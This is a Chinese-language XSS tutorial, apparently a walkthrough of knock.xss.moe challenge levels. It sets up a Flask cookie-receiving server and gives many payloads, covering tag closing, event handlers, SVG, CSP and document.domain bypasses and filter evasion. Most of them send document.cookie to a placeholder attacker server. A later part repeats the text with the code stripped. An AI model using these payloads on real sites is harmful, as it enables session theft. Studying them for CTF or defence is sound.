狗子的XSS学习之旅
字数 956 2025-08-29 08:32:09

XSS漏洞实战与绕过技巧全面解析

0X00 XSS基础概念

XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。根据攻击方式不同,XSS可分为:

  1. 反射型XSS:恶意脚本来自当前HTTP请求
  2. 存储型XSS:恶意脚本存储在服务器上
  3. DOM型XSS:漏洞存在于客户端代码而非服务器端

0X01 XSS挑战环境搭建

基础接收服务器配置

使用Python Flask搭建接收服务器时需注意:

from flask import Flask, request

xss = Flask(__name__)

@xss.route('/')
def index():
    flag = request.args
    for i,j in flag.items():
        print('Flag is:' + j)
    return str()

if __name__ == "__main__":
    xss.run(host="0.0.0.0")  # 关键:允许外网访问

0X02 XSS挑战关卡详解

基础关卡绕过

基本payload结构

http://目标域名/?location="http://你的服务器/?"+document.cookie

关键点

  • 使用location参数传递恶意脚本
  • document.cookie获取当前域cookie
  • +号需URL编码为%2B,否则会被服务器吃掉

常见HTML标签闭合技巧

  1. a标签闭合
q=a%27></a><script>alert(3);</script>//
  1. textarea闭合
q=</textarea><script>location.href='http://your-server/?'%2Bdocument.cookie</script>
  1. input标签利用
q=1" autofocus onfocus=alert(1);//

autofocus属性使元素自动获取焦点,触发onfocus事件

特殊场景绕过

  1. 双引号被过滤
q=1%20%27%20autofocus%20onfocus=location.href=%27http://your-server/?%27%2Bdocument.cookie;//
  1. 单引号被过滤(使用反引号):
q=``%20autofocus%20onfocus=location.href=`http://your-server/?`%2Bdocument.cookie
  1. frame标签利用
q=javascript:location.href=`http://your-server/?`%2Bdocument.cookie

高级绕过技术

  1. SVG标签绕过黑名单
q=11<svg/onload="eval(String.fromCharCode(106,97,118,...))">
  1. CSP绕过
    当存在CSP限制如:
Content-Security-Policy: script-src 'self' 'sha256-...'

可通过同源策略和document.domain设置绕过:

q=//allowed-domain.knock.xss.moe/?document.domain="knock.xss.moe";window.open(http://your-server)
  1. 字符编码绕过

  1. 点号被过滤(使用数组表示法):
window['open']('http://ip2long:port?'%2Bdocument['cookie'])

特殊场景解决方案

  1. 长度限制绕过
  • 使用短域名服务
  • 搭建外部页面利用window.name传递payload:
<script>
windo.name = "location.href='http://your-server/?'+document.cookie";
location.href = "http://target/?q=<svg/onload=eval(name)>";
</script>
  1. 全大写过滤绕过
    使用HTML实体编码所有字符

  2. script标签过滤

  • 双写绕过:<scriscriptpt>
  • 大小写混合:<Script>

0X03 防御措施

  1. 输入过滤与输出编码
  2. 设置HttpOnly标志
  3. 实施CSP策略
  4. 使用X-XSS-Protection头
  5. 避免使用eval()等危险函数

0X04 总结

本教程涵盖了从基础到高级的XSS绕过技术,包括:

  • 多种HTML标签闭合技巧
  • 事件处理器利用
  • 字符编码绕过
  • CSP策略绕过
  • 长度限制解决方案
  • 各种过滤规则的绕过方法

这些技术展示了XSS攻击的多样性和灵活性,也强调了全面防御策略的重要性。实际应用中应根据具体场景选择合适的绕过方法,同时作为防御方也应考虑多种攻击向量,实施纵深防御。

XSS漏洞实战与绕过技巧全面解析 0X00 XSS基础概念 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。根据攻击方式不同,XSS可分为: 反射型XSS:恶意脚本来自当前HTTP请求 存储型XSS:恶意脚本存储在服务器上 DOM型XSS:漏洞存在于客户端代码而非服务器端 0X01 XSS挑战环境搭建 基础接收服务器配置 使用Python Flask搭建接收服务器时需注意: 0X02 XSS挑战关卡详解 基础关卡绕过 基本payload结构 : 关键点 : 使用 location 参数传递恶意脚本 document.cookie 获取当前域cookie + 号需URL编码为 %2B ,否则会被服务器吃掉 常见HTML标签闭合技巧 a标签闭合 : textarea闭合 : input标签利用 : autofocus 属性使元素自动获取焦点,触发 onfocus 事件 特殊场景绕过 双引号被过滤 : 单引号被过滤 (使用反引号): frame标签利用 : 高级绕过技术 SVG标签绕过黑名单 : CSP绕过 : 当存在CSP限制如: 可通过同源策略和 document.domain 设置绕过: 字符编码绕过 : 点号被过滤 (使用数组表示法): 特殊场景解决方案 长度限制绕过 : 使用短域名服务 搭建外部页面利用 window.name 传递payload: 全大写过滤绕过 : 使用HTML实体编码所有字符 script标签过滤 : 双写绕过: <scriscriptpt> 大小写混合: <Script> 0X03 防御措施 输入过滤与输出编码 设置HttpOnly标志 实施CSP策略 使用X-XSS-Protection头 避免使用 eval() 等危险函数 0X04 总结 本教程涵盖了从基础到高级的XSS绕过技术,包括: 多种HTML标签闭合技巧 事件处理器利用 字符编码绕过 CSP策略绕过 长度限制解决方案 各种过滤规则的绕过方法 这些技术展示了XSS攻击的多样性和灵活性,也强调了全面防御策略的重要性。实际应用中应根据具体场景选择合适的绕过方法,同时作为防御方也应考虑多种攻击向量,实施纵深防御。